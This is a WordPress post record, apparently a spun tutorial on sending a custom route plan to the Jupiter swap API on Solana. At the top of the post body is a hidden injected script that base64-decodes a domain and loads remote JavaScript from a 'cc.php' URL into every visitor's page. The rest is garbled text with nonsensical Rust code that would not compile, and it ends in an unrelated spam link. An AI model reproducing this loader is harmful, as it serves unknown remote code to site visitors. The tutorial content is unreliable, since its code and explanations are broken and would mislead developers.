{"id":1112,"date":"2025-02-08T02:48:01","date_gmt":"2025-02-08T02:48:01","guid":{"rendered":"https:\/\/hccmena.com\/?p=1112"},"modified":"2025-02-08T02:48:01","modified_gmt":"2025-02-08T02:48:01","slug":"solana-send-custom-routeplan-to-juptier-api-swap","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/solana-send-custom-routeplan-to-juptier-api-swap\/","title":{"rendered":"Solana: Send custom routePlan to Juptier API \/swap"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=223504a7\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Optimization of the personalized route plan for Swap API Jupyter on Solana <\/strong><\/p>\n<\/p>\n<p>Hello dear friends, I hope everyone is fine today?<\/p>\n<\/p>\n<p>While exploring the world of decentralized finances (DIFI) and non -whistling tokens (NFT), an aspect often neglected is the unprecedented integration with external bees, such as Jupyter&#8217;s. However, problems such as transactions are unable to jupyter bundles or normal accounts can hinder our progress in the construction of complex work flows.<\/p>\n<\/p>\n<p>In this article, we will deepen the creation of a personalized path plan for sending transactions to the Jupyter by using Solana.<\/p>\n<\/p>\n<p><strong> Understanding of the API Jupyter <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/ekqDq5pXILw\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>The Jupyter API is a decentralized application (DAP) that allows users to interact with external services such as databases and bees. When working with Jupyter bees on Solana, you will have to familiarize yourself with its architecture and requirements.<\/p>\n<\/p>\n<p>For reasons of simplicity, let&#8217;s focus on sending transactions to the Jupyter for the exchange of cryptocurrencies.<\/p>\n<\/p>\n<p><strong> Preparation of your Solana node <\/strong><\/p>\n<\/p>\n<p>Before starting, make sure you have a Solana node set with the Solana-T &#8216;package installed. This library provides a convenient interface to interact with the Solana node.<\/p>\n<\/p>\n<p>Here is an example of how to create a new SOLANA program using Solana-GRE:<\/p>\n<\/p>\n<p>`<code>Rust<\/p>\n<\/p>\n<p>Use Solana_program :: {<\/p>\n<\/p>\n<p>    Account_info :: Nextacountinfo,<\/p>\n<\/p>\n<p>    entrypoint :: programresult,<\/p>\n<\/p>\n<p>    entrypoints :: {Get_entrypoint, Invoci],<\/p>\n<\/p>\n<p>    System_struction,<\/p>\n<\/p>\n<p>};<\/p>\n<\/p>\n<p>#[Derive (default)]<\/p>\n<\/p>\n<p>Pub Stuct Myprogram {<\/p>\n<\/p>\n<p>    Account: vec <nextacountinfo>,<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>Implicit program for Myprogram {<\/p>\n<\/p>\n<p>    Fn entrypoint (& mut self) -> programresult {<\/p>\n<\/p>\n<p>        \/\/ Define your personalized path plan here<\/p>\n<\/p>\n<p>        Ok (())<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code><\/code><code><\/p>\n<\/p>\n<p><strong> Personalized path plan <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: Send custom routePlan to Juptier API \/swap\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/4fffca0f.png\"><\/p>\n<\/p>\n<p>To send a transaction to Jupyter's API, you will have to define a personalized path plan. This will lead to the creation of a function that assumes the<\/code>Next_acCount_info<code>returned by the Solana node and interacts with the Jupyter bees.<\/p>\n<\/p>\n<p>Here is an example of how you might implement this:<\/p>\n<\/p>\n<p><\/code><code>Rust<\/p>\n<\/p>\n<p>Use Solana_program :: {<\/p>\n<\/p>\n<p>    Account_info :: Nextacountinfo,<\/p>\n<\/p>\n<p>    entrypoint :: {invoke, invoke_signed},<\/p>\n<\/p>\n<p>    entrypoints :: {Get_entrypoint, Invoke},<\/p>\n<\/p>\n<p>    Program_error :: Programmerror,<\/p>\n<\/p>\n<p>};<\/p>\n<\/p>\n<p>#[Derive (default)]<\/p>\n<\/p>\n<p>Pub Stuct Myrouteplan {<\/p>\n<\/p>\n<p>    \/\/ Define the URL Endpoint of the Jupyter here<\/p>\n<\/p>\n<p>    pub api_url: string,<\/p>\n<\/p>\n<p>    \/\/ Define any parameters or additional variables necessary for the transaction<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>Implic Myrouteplan {<\/p>\n<\/p>\n<p>    Fn Get_acCount_info (& Self, Next_acCount_info: & NextCacountinfo) -> Program there <NextCacotintinfo> {<\/p>\n<\/p>\n<p>        \/\/ Get information on the account from the Jupyter<\/p>\n<\/p>\n<p>        Ok (Next_acCount_info)<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>    Async Fn Send_transation (& Self) -> Result <(), Programmeror> {<\/p>\n<\/p>\n<p>        \/\/ Define your personalized path plan here<\/p>\n<\/p>\n<p>        \/\/ simulates a successful transaction to the Jupyter<\/p>\n<\/p>\n<p>        let result = invoke_signed (self.api_url, \"My_operation\", & [Account_info :: Accountid: New (\"My_account\")]);<\/p>\n<\/p>\n<p>        Ok (())<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code><\/code><code><\/p>\n<\/p>\n<p><strong> Sending transactions <\/strong><\/p>\n<\/p>\n<p>To send transactions through your personalized path plan, you will have to call the \"Send_Transation\" function. This will perform your personalized path plan and interact with the Jupyter API.<\/p>\n<\/p>\n<p>Here is an example of how you could use this:<\/p>\n<\/p>\n<p><\/code>` Rust<\/p>\n<\/p>\n<p>Use Solana_program :: {<\/p>\n<\/p>\n<p>    Account_info :: Nextacountinfo,<\/p>\n<\/p>\n<p>    entrypoint :: {invoke, invoke_signed},<\/p>\n<\/p>\n<p>    entrypoints :: {Get_entrypoint, Invoke},<\/p>\n<\/p>\n<p>    Program_error :: Programmerror,<\/p>\n<\/p>\n<p>};<\/p>\n<\/p>\n<p>FN MAIN () -> Result <(), Programmarror> {<\/p>\n<\/p>\n<p>    Let My_Route_plan = Myrouteplan {<\/p>\n<\/p>\n<p>        Api_url: &#8221; .to_string (),<\/p>\n<\/p>\n<p>        \/\/ Define any parameters or additional variables necessary for the transaction<\/p>\n<\/p>\n<p>    };<\/p>\n<\/p>\n<p>    let next_acCount_info = nextacotintinfo :: default ();<\/p>\n<\/p>\n<p>    INVOKE_SIGned (My_Routi_plan.get_acCount_info (&#038; Next_acount_info), My_Route_plan.Send_Transazion ())?<\/p>\n<p><a href=\"https:\/\/alpinefinancials.com\/ethereum-why-is-it-not-possible-to-get-the-private-key-out-of-the-public-key\/\">ethereum possible private<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Optimization of the personalized route plan for Swap API Jupyter on Solana Hello dear friends, I hope everyone is fine today? While exploring the world of decentralized finances (DIFI) and non -whistling tokens (NFT), an aspect often neglected is the unprecedented integration with external bees, such as Jupyter&#8217;s. However, problems such as transactions are unable [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1112"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1112"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1112\/revisions"}],"predecessor-version":[{"id":1113,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1112\/revisions\/1113"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}